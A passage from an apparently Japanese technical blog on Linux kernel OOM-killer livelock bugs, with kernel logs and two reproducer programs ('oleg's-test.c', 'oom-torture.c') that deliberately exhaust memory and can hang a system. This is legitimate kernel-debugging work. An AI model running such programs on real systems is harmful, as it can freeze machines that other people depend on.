[  416.426931] Node 0 DMA32 free:15396kB min:5564kB low:6952kB high:8344kB active_anon:98836kB inactive_anon:32120kB active_file:964808kB inactive_file:666224kB unevictable:0kB isolated(anon):0kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:33628kB shmem:57332kB slab_reclaimable:51048kB slab_unreclaimable:51824kB kernel_stack:23328kB pagetables:41896kB unstable:0kB bounce:0kB free_pcp:988kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  416.447247] Node 0 DMA32: 5158*4kB (UME) 68*8kB (M) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 21176kB
[  418.780159] Node 0 DMA32 free:8876kB min:5564kB low:6952kB high:8344kB active_anon:86544kB inactive_anon:31516kB active_file:965016kB inactive_file:654444kB unevictable:0kB isolated(anon):0kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:8408kB shmem:57332kB slab_reclaimable:48856kB slab_unreclaimable:61116kB kernel_stack:30224kB pagetables:48636kB unstable:0kB bounce:0kB free_pcp:980kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:260 all_unreclaimable? no
[  418.799643] Node 0 DMA32: 3093*4kB (UME) 1043*8kB (UME) 2*16kB (M) 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 20748kB
[  428.087913] Node 0 DMA32 free:22760kB min:5564kB low:6952kB high:8344kB active_anon:94544kB inactive_anon:38936kB active_file:1013576kB inactive_file:564976kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:0kB writeback:0kB mapped:36096kB shmem:65376kB slab_reclaimable:52196kB slab_unreclaimable:60576kB kernel_stack:29888kB pagetables:56364kB unstable:0kB bounce:0kB free_pcp:852kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  428.109005] Node 0 DMA32: 2943*4kB (UME) 458*8kB (UME) 20*16kB (UME) 11*32kB (UME) 11*64kB (ME) 4*128kB (UME) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 17324kB
[  439.014180] Node 0 DMA32 free:11232kB min:5564kB low:6952kB high:8344kB active_anon:82868kB inactive_anon:38872kB active_file:1189912kB inactive_file:439592kB unevictable:0kB isolated(anon):12kB isolated(file):40kB present:2080640kB managed:2021100kB mlocked:0kB dirty:0kB writeback:1152kB mapped:35948kB shmem:65376kB slab_reclaimable:51224kB slab_unreclaimable:56664kB kernel_stack:27696kB pagetables:43180kB unstable:0kB bounce:0kB free_pcp:380kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  439.032446] Node 0 DMA32: 2761*4kB (UM) 28*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 11268kB
[  441.731001] Node 0 DMA32 free:15056kB min:5564kB low:6952kB high:8344kB active_anon:90532kB inactive_anon:42716kB active_file:1204248kB inactive_file:377196kB unevictable:0kB isolated(anon):12kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:5552kB shmem:73568kB slab_reclaimable:52956kB slab_unreclaimable:68304kB kernel_stack:39936kB pagetables:47472kB unstable:0kB bounce:0kB free_pcp:624kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  441.731018] Node 0 DMA32: 3130*4kB (UM) 338*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 15224kB
[  442.070851] Node 0 DMA32 free:8852kB min:5564kB low:6952kB high:8344kB active_anon:90412kB inactive_anon:42664kB active_file:1179304kB inactive_file:371316kB unevictable:0kB isolated(anon):108kB isolated(file):268kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:5544kB shmem:73568kB slab_reclaimable:55136kB slab_unreclaimable:80080kB kernel_stack:55456kB pagetables:52692kB unstable:0kB bounce:0kB free_pcp:312kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:348 all_unreclaimable? no
[  442.070867] Node 0 DMA32: 590*4kB (ME) 827*8kB (ME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 8976kB
[  442.245192] Node 0 DMA32 free:10832kB min:5564kB low:6952kB high:8344kB active_anon:97756kB inactive_anon:42664kB active_file:1082048kB inactive_file:417012kB unevictable:0kB isolated(anon):108kB isolated(file):268kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:5248kB shmem:73568kB slab_reclaimable:62816kB slab_unreclaimable:88964kB kernel_stack:61408kB pagetables:62908kB unstable:0kB bounce:0kB free_pcp:696kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  442.245208] Node 0 DMA32: 1902*4kB (UME) 410*8kB (UME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 10888kB
---------- 実行結果例 ここまで ----------

この問題が発覚したことにより試験が不十分であると判断され、当初予定されていた Linux 4.6 へのマージは見送られました。その後、いろいろな試験が行われ、リーズナブルな結果が得られると判断されたことから、 Linux 4.7 にマージされました。

現在は効果や副作用がどうなのかを検証してもらう段階にあります。とはいっても、誰もメモリ枯渇時の挙動を積極的にテストしないため、エンタープライズ向けディストリビューションに取り込まれた後になってから、思わぬ副作用に気づくという可能性は否定できません。

ちなみに、この修正が linux.git へとマージされる数時間前に、 Oleg Nesterov さんが「 zone_reclaimable() によるリトライロジックが原因で OOM livelock 状態が発生する」という報告を上げてきました。この修正がマージされたことにより解消されたであろう問題だとは思うのですが、事象の再現手順を見て驚きました。

なんと、以下のプログラムを1CPUの環境で繰り返し実行するだけで事象を再現できるそうなのです。空きメモリがギリギリの状態を意図的に作り出すためにマルチスレッドを使って試行錯誤してきた熊猫の再現プログラムとは大違いです。

---------- oleg's-test.c ----------
#include <stdlib.h>
#include <string.h>

int main(void)
{
        for (;;) {
                void *p = malloc(1024 * 1024);
                memset(p, 0, 1024 * 1024);
        }
}
---------- oleg's-test.c ----------

・・・メモリ管理機構に起因した問題は、どんな状況で発生するのか予想できませんねぇ。

2016年2月 全てのメモリ割り当て要求が一斉に動けなくなる問題

OOM detection rework は OOM reaper 同様に長い議論がされたのですが、熊猫には解りません。でも、 OOM detection rework の試験中に見つかった問題の内、未解決の問題を1つだけ紹介しておきます。

Linux 2.6.32 以降には commit 35cd78156c499ef8 ("vmscan: throttle direct reclaim when too many pages are isolated already") という、拙速な OOM killer の発動を防ぐためパッチが含まれています。しかし、このパッチは、非同期でメモリ回収処理を行う kswapd というカーネルスレッドが、メモリ回収処理の中で取得されるロックの獲得待ちで待たされることを想定していませんでした。その結果、メモリの割り当て要求を行っている全てのスレッドが kswapd の処理を永遠に待ち続けるという無限ループに陥り、 OOM killer が発動できないまま OOM livelock 状態に陥るという結果を招いています。

---------- oom-torture.c ----------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>

static char use_delay = 0;

static void sigcld_handler(int unused)
{
        use_delay = 1;
}

int main(int argc, char *argv[])
{
        static char buffer[4096] = { };
        char *buf = NULL;
        unsigned long size;
        int i;
        signal(SIGCLD, sigcld_handler);
        for (i = 0; i < 1024; i++) {
                if (fork() == 0) {
                        int fd = open("/proc/self/oom_score_adj", O_WRONLY);
                        write(fd, "1000", 4);
                        close(fd);
                        sleep(1);
                        if (!i)
                                pause();
                        snprintf(buffer, sizeof(buffer), "/tmp/file.%u", getpid());
                        fd = open(buffer, O_WRONLY | O_CREAT | O_APPEND, 0600);
                        while (write(fd, buffer, sizeof(buffer)) == sizeof(buffer)) {
                                poll(NULL, 0, 10);
                                fsync(fd);
                        }
                        _exit(0);
                }
        }
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        sleep(2);
        /* Will cause OOM due to overcommit */
        for (i = 0; i < size; i += 4096) {
                buf[i] = 0;
                if (use_delay) /* Give children a chance to write(). */
                        poll(NULL, 0, 10);
        }
        pause();
        return 0;
}
---------- oom-torture.c ----------
---------- 実行結果例 ここから ----------
[ 1096.700789] systemd invoked oom-killer: gfp_mask=0x24201ca(GFP_HIGHUSER_MOVABLE|__GFP_COLD), order=0, oom_score_adj=0
[ 1096.708751] systemd cpuset=/ mems_allowed=0
[ 1096.712519] CPU: 2 PID: 1 Comm: systemd Not tainted 4.7.0-rc7+ #55
[ 1096.717463] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[ 1096.725553]  0000000000000286 0000000006e33503 ffff88003faef998 ffffffff812d727d
[ 1096.731302]  0000000000000000 ffff88003faefbb0 ffff88003faefa38 ffffffff811c5944
[ 1096.736956]  0000000000000206 ffffffff8182b870 ffff88003faef9d8 ffffffff810c0ef9
[ 1096.742600] Call Trace:
[ 1096.744916]  [<ffffffff812d727d>] dump_stack+0x85/0xc8
[ 1096.749276]  [<ffffffff811c5944>] dump_header+0x5b/0x3a8
[ 1096.753708]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1096.758659]  [<ffffffff810c0fcd>] ? trace_hardirqs_on+0xd/0x10
[ 1096.763176]  [<ffffffff81626e45>] ? _raw_spin_unlock_irqrestore+0x45/0x80
[ 1096.768275]  [<ffffffff8114eda8>] oom_kill_process+0x388/0x520
[ 1096.772759]  [<ffffffff8114f51f>] out_of_memory+0x58f/0x5e0
[ 1096.777101]  [<ffffffff8114f180>] ? out_of_memory+0x1f0/0x5e0
[ 1096.781511]  [<ffffffff8115447f>] __alloc_pages_nodemask+0xeff/0xf70
[ 1096.786612]  [<ffffffff8119e8c6>] alloc_pages_current+0x96/0x1b0
[ 1096.791221]  [<ffffffff8114933d>] __page_cache_alloc+0x12d/0x160
[ 1096.796023]  [<ffffffff8114cf5f>] filemap_fault+0x45f/0x670
[ 1096.800329]  [<ffffffff8114ce30>] ? filemap_fault+0x330/0x670
[ 1096.804672]  [<ffffffffa0245be9>] xfs_filemap_fault+0x39/0x60 [xfs]
[ 1096.809332]  [<ffffffff81176e71>] __do_fault+0x71/0x140
[ 1096.813331]  [<ffffffff8117d53c>] handle_mm_fault+0x12ec/0x1f30
[ 1096.817750]  [<ffffffff8105c7b2>] ? __do_page_fault+0x102/0x560
[ 1096.822166]  [<ffffffff8105c840>] __do_page_fault+0x190/0x560
[ 1096.826542]  [<ffffffff8105cc40>] do_page_fault+0x30/0x80
[ 1096.830551]  [<ffffffff81629278>] page_fault+0x28/0x30
[ 1096.835739] Mem-Info:
[ 1096.838525] active_anon:197561 inactive_anon:2919 isolated_anon:0
[ 1096.838525]  active_file:284 inactive_file:479 isolated_file:32
[ 1096.838525]  unevictable:0 dirty:0 writeback:126 unstable:0
[ 1096.838525]  slab_reclaimable:1717 slab_unreclaimable:11222
[ 1096.838525]  mapped:360 shmem:3239 pagetables:5654 bounce:0
[ 1096.838525]  free:12151 free_pcp:319 free_cma:0
[ 1096.867008] Node 0 DMA free:4472kB min:732kB low:912kB high:1092kB active_anon:8600kB inactive_anon:0kB active_file:44kB inactive_file:44kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:8kB mapped:44kB shmem:8kB slab_reclaimable:148kB slab_unreclaimable:796kB kernel_stack:432kB pagetables:524kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:568 all_unreclaimable? yes
[ 1096.904546] lowmem_reserve[]: 0 936 936 936
[ 1096.909808] Node 0 DMA32 free:45364kB min:44320kB low:55400kB high:66480kB active_anon:781560kB inactive_anon:11676kB active_file:1152kB inactive_file:1196kB unevictable:0kB isolated(anon):0kB isolated(file):256kB present:1032064kB managed:981068kB mlocked:0kB dirty:0kB writeback:496kB mapped:1396kB shmem:12948kB slab_reclaimable:6716kB slab_unreclaimable:43992kB kernel_stack:20384kB pagetables:22092kB unstable:0kB bounce:0kB free_pcp:716kB local_pcp:124kB free_cma:0kB writeback_tmp:0kB pages_scanned:3852 all_unreclaimable? no
[ 1096.945857] lowmem_reserve[]: 0 0 0 0
[ 1096.950262] Node 0 DMA: 38*4kB (UM) 26*8kB (UM) 11*16kB (UM) 11*32kB (UM) 2*64kB (UM) 3*128kB (UM) 4*256kB (UM) 2*512kB (UM) 1*1024kB (U) 0*2048kB 0*4096kB = 4472kB
[ 1096.963656] Node 0 DMA32: 1333*4kB (UME) 1032*8kB (UME) 670*16kB (UME) 308*32kB (UME) 111*64kB (UE) 24*128kB (UME) 4*256kB (UM) 0*512kB 0*1024kB 0*2048kB 0*4096kB = 45364kB
[ 1096.976258] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 1096.983860] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[ 1096.994897] 3918 total pagecache pages
[ 1096.999165] 0 pages in swap cache
[ 1097.002688] Swap cache stats: add 0, delete 0, find 0/0
[ 1097.007309] Free swap  = 0kB
[ 1097.010194] Total swap = 0kB
[ 1097.012787] 262013 pages RAM
[ 1097.015345] 0 pages HighMem/MovableOnly
[ 1097.020898] 12770 pages reserved
[ 1097.024751] 0 pages cma reserved
[ 1097.027858] 0 pages hwpoisoned
[ 1097.031473] Out of memory: Kill process 4206 (oom-torture) score 999 or sacrifice child
[ 1097.037825] Killed process 4206 (oom-torture) total-vm:4176kB, anon-rss:84kB, file-rss:0kB, shmem-rss:0kB
[ 1097.045884] oom_reaper: reaped process 4206 (oom-torture), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[ 1200.867049] INFO: task oom-torture:3970 blocked for more than 120 seconds.
[ 1200.890695]       Not tainted 4.7.0-rc7+ #55
[ 1200.898627] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[ 1200.913371] oom-torture     D ffff88003bcff428     0  3970   3652 0x00000080
[ 1200.926432]  ffff88003bcff428 ffff88002a996100 ffff88003fba4080 ffff88002a996100
[ 1200.939946]  ffff88003bd00000 ffff880037de7070 ffff88002a996100 ffff880035d00000
[ 1200.950865]  0000000000000000 ffff88003bcff440 ffffffff81621dea 7fffffffffffffff
[ 1200.957640] Call Trace:
[ 1200.961125]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1200.965512]  [<ffffffff816266df>] schedule_timeout+0x17f/0x1c0
[ 1200.970311]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1200.975693]  [<ffffffff81626ea7>] ? _raw_spin_unlock_irq+0x27/0x60
[ 1200.980603]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1200.985516]  [<ffffffff816253fb>] __down+0x71/0xb8
[ 1200.989693]  [<ffffffff81626c86>] ? _raw_spin_lock_irqsave+0x56/0x70
[ 1200.994497]  [<ffffffff810bcf1c>] down+0x3c/0x50
[ 1200.998181]  [<ffffffffa02425e1>] xfs_buf_lock+0x21/0x50 [xfs]
[ 1201.002629]  [<ffffffffa02427c5>] _xfs_buf_find+0x1b5/0x2e0 [xfs]
[ 1201.007199]  [<ffffffffa0242915>] xfs_buf_get_map+0x25/0x160 [xfs]
[ 1201.011795]  [<ffffffffa0242ee9>] xfs_buf_read_map+0x29/0xe0 [xfs]
[ 1201.016359]  [<ffffffffa026d837>] xfs_trans_read_buf_map+0x97/0x1a0 [xfs]
[ 1201.021284]  [<ffffffffa020ad95>] xfs_read_agf+0x75/0xb0 [xfs]
[ 1201.025590]  [<ffffffffa020adf6>] xfs_alloc_read_agf+0x26/0xd0 [xfs]
[ 1201.030407]  [<ffffffffa020b1c5>] xfs_alloc_fix_freelist+0x325/0x3e0 [xfs]
[ 1201.035343]  [<ffffffffa0239752>] ? xfs_perag_get+0x82/0x110 [xfs]
[ 1201.039829]  [<ffffffff812dd76e>] ? __radix_tree_lookup+0x6e/0xd0
[ 1201.044235]  [<ffffffffa020b47e>] xfs_alloc_vextent+0x19e/0x480 [xfs]
[ 1201.048841]  [<ffffffffa02190cf>] xfs_bmap_btalloc+0x3bf/0x710 [xfs]
[ 1201.053380]  [<ffffffffa0219429>] xfs_bmap_alloc+0x9/0x10 [xfs]
[ 1201.057632]  [<ffffffffa0219e1a>] xfs_bmapi_write+0x47a/0xa10 [xfs]
[ 1201.062077]  [<ffffffffa024f3fd>] xfs_iomap_write_allocate+0x16d/0x350 [xfs]
[ 1201.066970]  [<ffffffffa023c4ed>] xfs_map_blocks+0x13d/0x150 [xfs]
[ 1201.071307]  [<ffffffffa023d468>] xfs_do_writepage+0x158/0x540 [xfs]
[ 1201.075729]  [<ffffffff81158326>] write_cache_pages+0x1f6/0x490
[ 1201.080437]  [<ffffffffa023d310>] ? xfs_aops_discard_page+0x140/0x140 [xfs]
[ 1201.085510]  [<ffffffff810c1a9b>] ? __lock_acquire+0x75b/0x1a30
[ 1201.090299]  [<ffffffffa023d136>] xfs_vm_writepages+0x66/0xa0 [xfs]
[ 1201.094736]  [<ffffffff811594ac>] do_writepages+0x1c/0x30
[ 1201.098589]  [<ffffffff8114bab1>] __filemap_fdatawrite_range+0xc1/0x100
[ 1201.103563]  [<ffffffff8114bbc8>] filemap_write_and_wait_range+0x28/0x60
[ 1201.108244]  [<ffffffffa02458f4>] xfs_file_fsync+0x44/0x180 [xfs]
[ 1201.112542]  [<ffffffff811ff2b8>] vfs_fsync_range+0x38/0xa0
[ 1201.116499]  [<ffffffff811eb68a>] ? __fget_light+0x6a/0x90
[ 1201.120399]  [<ffffffff811ff378>] do_fsync+0x38/0x60
[ 1201.123990]  [<ffffffff811ff5fb>] SyS_fsync+0xb/0x10
[ 1201.127842]  [<ffffffff81003642>] do_syscall_64+0x62/0x190
[ 1201.131751]  [<ffffffff816277ff>] entry_SYSCALL64_slow_path+0x25/0x25
[ 1201.136237] 2 locks held by oom-torture/3970:
[ 1201.141000]  #0:  (sb_internal){.+.+.?}, at: [<ffffffff811ce35c>] __sb_start_write+0xcc/0xe0
[ 1201.147852]  #1:  (&xfs_nondir_ilock_class){++++--}, at: [<ffffffffa0251caf>] xfs_ilock+0x7f/0xe0 [xfs]
[ 1201.155109] INFO: task oom-torture:4083 blocked for more than 120 seconds.
[ 1201.160866]       Not tainted 4.7.0-rc7+ #55
[ 1201.164425] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[ 1201.170062] oom-torture     D ffff88003aa47428     0  4083   3652 0x00000080
[ 1201.176947]  ffff88003aa47428 ffff88003aa400c0 ffff88002bd3c100 ffff88003aa400c0
[ 1201.182405]  ffff88003aa48000 ffff880037de7070 ffff88003aa400c0 ffff880035d00000
[ 1201.188232]  0000000000000000 ffff88003aa47440 ffffffff81621dea 7fffffffffffffff
[ 1201.194181] Call Trace:
[ 1201.196438]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1201.200074]  [<ffffffff816266df>] schedule_timeout+0x17f/0x1c0
[ 1201.204263]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1201.208399]  [<ffffffff81626ea7>] ? _raw_spin_unlock_irq+0x27/0x60
[ 1201.213164]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1201.217851]  [<ffffffff816253fb>] __down+0x71/0xb8
[ 1201.221396]  [<ffffffff81626c86>] ? _raw_spin_lock_irqsave+0x56/0x70
[ 1201.225927]  [<ffffffff810bcf1c>] down+0x3c/0x50
[ 1201.229349]  [<ffffffffa02425e1>] xfs_buf_lock+0x21/0x50 [xfs]
[ 1201.233532]  [<ffffffffa02427c5>] _xfs_buf_find+0x1b5/0x2e0 [xfs]
[ 1201.237877]  [<ffffffffa0242915>] xfs_buf_get_map+0x25/0x160 [xfs]
[ 1201.242283]  [<ffffffffa0242ee9>] xfs_buf_read_map+0x29/0xe0 [xfs]
[ 1201.247024]  [<ffffffff810afc21>] ? enqueue_entity+0x1e1/0xba0
[ 1201.251190]  [<ffffffffa026d837>] xfs_trans_read_buf_map+0x97/0x1a0 [xfs]
[ 1201.255961]  [<ffffffffa020ad95>] xfs_read_agf+0x75/0xb0 [xfs]
[ 1201.260139]  [<ffffffffa020adf6>] xfs_alloc_read_agf+0x26/0xd0 [xfs]
[ 1201.264992]  [<ffffffffa020b1c5>] xfs_alloc_fix_freelist+0x325/0x3e0 [xfs]
[ 1201.269857]  [<ffffffffa0239752>] ? xfs_perag_get+0x82/0x110 [xfs]
[ 1201.274528]  [<ffffffff812dd76e>] ? __radix_tree_lookup+0x6e/0xd0
[ 1201.279040]  [<ffffffffa020b47e>] xfs_alloc_vextent+0x19e/0x480 [xfs]
[ 1201.284013]  [<ffffffffa02190cf>] xfs_bmap_btalloc+0x3bf/0x710 [xfs]
[ 1201.288578]  [<ffffffffa0219429>] xfs_bmap_alloc+0x9/0x10 [xfs]
[ 1201.292852]  [<ffffffffa0219e1a>] xfs_bmapi_write+0x47a/0xa10 [xfs]
[ 1201.297644]  [<ffffffffa024f3fd>] xfs_iomap_write_allocate+0x16d/0x350 [xfs]
[ 1201.302610]  [<ffffffffa023c4ed>] xfs_map_blocks+0x13d/0x150 [xfs]
[ 1201.307028]  [<ffffffffa023d468>] xfs_do_writepage+0x158/0x540 [xfs]
[ 1201.311537]  [<ffffffff81158326>] write_cache_pages+0x1f6/0x490
[ 1201.315770]  [<ffffffffa023d310>] ? xfs_aops_discard_page+0x140/0x140 [xfs]
[ 1201.322135]  [<ffffffff810c1a9b>] ? __lock_acquire+0x75b/0x1a30
[ 1201.326382]  [<ffffffffa023d136>] xfs_vm_writepages+0x66/0xa0 [xfs]
[ 1201.330841]  [<ffffffff811594ac>] do_writepages+0x1c/0x30
[ 1201.335292]  [<ffffffff8114bab1>] __filemap_fdatawrite_range+0xc1/0x100
[ 1201.339950]  [<ffffffff8114bbc8>] filemap_write_and_wait_range+0x28/0x60
[ 1201.344676]  [<ffffffffa02458f4>] xfs_file_fsync+0x44/0x180 [xfs]
[ 1201.349016]  [<ffffffff811ff2b8>] vfs_fsync_range+0x38/0xa0
[ 1201.353378]  [<ffffffff811eb68a>] ? __fget_light+0x6a/0x90
[ 1201.357354]  [<ffffffff811ff378>] do_fsync+0x38/0x60
[ 1201.360970]  [<ffffffff811ff5fb>] SyS_fsync+0xb/0x10
[ 1201.364887]  [<ffffffff81003642>] do_syscall_64+0x62/0x190
[ 1201.368873]  [<ffffffff816277ff>] entry_SYSCALL64_slow_path+0x25/0x25
[ 1201.373458] 2 locks held by oom-torture/4083:
[ 1201.377979]  #0:  (sb_internal){.+.+.?}, at: [<ffffffff811ce35c>] __sb_start_write+0xcc/0xe0
[ 1201.384627]  #1:  (&xfs_nondir_ilock_class){++++--}, at: [<ffffffffa0251caf>] xfs_ilock+0x7f/0xe0 [xfs]
[ 1201.392372] INFO: task oom-torture:4126 blocked for more than 120 seconds.
[ 1201.397186]       Not tainted 4.7.0-rc7+ #55
[ 1201.400361] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[ 1201.405791] oom-torture     D ffff880019c5f428     0  4126   3652 0x00000080
[ 1201.413798]  ffff880019c5f428 ffff880019c58040 ffff88003fba4080 ffff880019c58040
[ 1201.419259]  ffff880019c60000 ffff880037de7070 ffff880019c58040 ffff880035d00000
[ 1201.425238]  0000000000000000 ffff880019c5f440 ffffffff81621dea 7fffffffffffffff
[ 1201.430688] Call Trace:
[ 1201.432768]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1201.436438]  [<ffffffff816266df>] schedule_timeout+0x17f/0x1c0
[ 1201.440641]  [<ffffffff810c0dd6>] ? mark_held_locks+0x66/0x90
[ 1201.444792]  [<ffffffff81626ea7>] ? _raw_spin_unlock_irq+0x27/0x60
[ 1201.449212]  [<ffffffff810c0ef9>] ? trace_hardirqs_on_caller+0xf9/0x1c0
[ 1201.453883]  [<ffffffff816253fb>] __down+0x71/0xb8
[ 1201.457442]  [<ffffffff81626c86>] ? _raw_spin_lock_irqsave+0x56/0x70
[ 1201.461940]  [<ffffffff810bcf1c>] down+0x3c/0x50
[ 1201.465364]  [<ffffffffa02425e1>] xfs_buf_lock+0x21/0x50 [xfs]
[ 1201.469653]  [<ffffffffa02427c5>] _xfs_buf_find+0x1b5/0x2e0 [xfs]
[ 1201.474029]  [<ffffffffa0242915>] xfs_buf_get_map+0x25/0x160 [xfs]
[ 1201.478766]  [<ffffffffa0242ee9>] xfs_buf_read_map+0x29/0xe0 [xfs]
[ 1201.483480]  [<ffffffffa026d837>] xfs_trans_read_buf_map+0x97/0x1a0 [xfs]
[ 1201.488382]  [<ffffffffa020ad95>] xfs_read_agf+0x75/0xb0 [xfs]
[ 1201.492630]  [<ffffffffa020adf6>] xfs_alloc_read_agf+0x26/0xd0 [xfs]
[ 1201.497546]  [<ffffffffa020b1c5>] xfs_alloc_fix_freelist+0x325/0x3e0 [xfs]
[ 1201.502408]  [<ffffffffa0239752>] ? xfs_perag_get+0x82/0x110 [xfs]
[ 1201.506862]  [<ffffffff812dd76e>] ? __radix_tree_lookup+0x6e/0xd0
[ 1201.511693]  [<ffffffffa020b47e>] xfs_alloc_vextent+0x19e/0x480 [xfs]
[ 1201.516961]  [<ffffffffa02190cf>] xfs_bmap_btalloc+0x3bf/0x710 [xfs]
[ 1201.522213]  [<ffffffffa0219429>] xfs_bmap_alloc+0x9/0x10 [xfs]
[ 1201.526631]  [<ffffffffa0219e1a>] xfs_bmapi_write+0x47a/0xa10 [xfs]
[ 1201.531094]  [<ffffffffa024f3fd>] xfs_iomap_write_allocate+0x16d/0x350 [xfs]
[ 1201.536384]  [<ffffffffa023c4ed>] xfs_map_blocks+0x13d/0x150 [xfs]
[ 1201.540818]  [<ffffffffa023d468>] xfs_do_writepage+0x158/0x540 [xfs]
[ 1201.545350]  [<ffffffff81158326>] write_cache_pages+0x1f6/0x490
[ 1201.549613]  [<ffffffffa023d310>] ? xfs_aops_discard_page+0x140/0x140 [xfs]
[ 1201.554525]  [<ffffffff810c1a9b>] ? __lock_acquire+0x75b/0x1a30
[ 1201.558776]  [<ffffffffa023d136>] xfs_vm_writepages+0x66/0xa0 [xfs]
[ 1201.563217]  [<ffffffff811594ac>] do_writepages+0x1c/0x30
[ 1201.567127]  [<ffffffff8114bab1>] __filemap_fdatawrite_range+0xc1/0x100
[ 1201.571792]  [<ffffffff8114bbc8>] filemap_write_and_wait_range+0x28/0x60
[ 1201.576518]  [<ffffffffa02458f4>] xfs_file_fsync+0x44/0x180 [xfs]
[ 1201.580860]  [<ffffffff811ff2b8>] vfs_fsync_range+0x38/0xa0
[ 1201.584875]  [<ffffffff811eb68a>] ? __fget_light+0x6a/0x90
[ 1201.588849]  [<ffffffff811ff378>] do_fsync+0x38/0x60
[ 1201.592486]  [<ffffffff811ff5fb>] SyS_fsync+0xb/0x10
[ 1201.596086]  [<ffffffff81003642>] do_syscall_64+0x62/0x190
[ 1201.600028]  [<ffffffff816277ff>] entry_SYSCALL64_slow_path+0x25/0x25
[ 1201.604598] 2 locks held by oom-torture/4126:
[ 1201.609179]  #0:  (sb_internal){.+.+.?}, at: [<ffffffff811ce35c>] __sb_start_write+0xcc/0xe0
[ 1201.618523]  #1:  (&xfs_nondir_ilock_class){++++--}, at: [<ffffffffa0251caf>] xfs_ilock+0x7f/0xe0 [xfs]
[ 1201.678895] MemAlloc-Info: stalling=112 dying=3 exiting=3 victim=0 oom_count=3275
[ 1201.698443] MemAlloc: systemd(1) flags=0x400900 switches=158149 seq=5087 gfp=0x242134a(GFP_NOFS|__GFP_HIGHMEM|__GFP_COLD|__GFP_NOWARN|__GFP_NORETRY|__GFP_HARDWALL|__GFP_MOVABLE) order=0 delay=81975 uninterruptible
[ 1201.735142] systemd         D ffff88003faef5b8     0     1      0 0x00000000
[ 1201.743813]  ffff88003faef5b8 00000001000dc1d3 ffff88002b3fc040 ffff88003fae8040
[ 1201.752998]  ffff88003faf0000 ffff88003faef5f0 ffff88003d650300 00000001000dc1d3
[ 1201.761073]  0000000000000002 ffff88003faef5d0 ffffffff81621dea ffff88003d650300
[ 1201.766466] Call Trace:
[ 1201.768534]  [<ffffffff81621dea>] schedule+0x3a/0x90
[ 1201.772339]  [<ffffffff8162667e>] schedule_timeout+0x11e/0x1c0
[ 1201.776623]  [<ffffffff810e4ba0>] ? init_timer_key+0x40/0x40
[ 1201.780802]  [<ffffffff8112f24a>] ? __delayacct_blkio_start+0x1a/0x30
[ 1201.785651]  [<ffffffff81621571>] io_schedule_timeout+0xa1/0x110
[ 1201.790259]  [<ffffffff8116ba5d>] congestion_wait+0x7d/0xd0
[ 1201.794385]  [<ffffffff810baaa0>] ? wait_woken+0x80/0x80
[ 1201.798338]  [<ffffffff811605e1>] shrink_inactive_list+0x441/0x490
[ 1201.803098]  [<ffffffff8100301a>] ? trace_hardirqs_on_thunk+0x1a/0x1c
[ 1201.807690]  [<ffffffff81160fad>] shrink_zone_memcg+0x5ad/0x740
[ 1201.811922]  [<ffffffff81161214>] shrink_zone+0xd4/0x2f0
[ 1201.815748]  [<ffffffff811617aa>] do_try_to_free_pages+0x17a/0x400
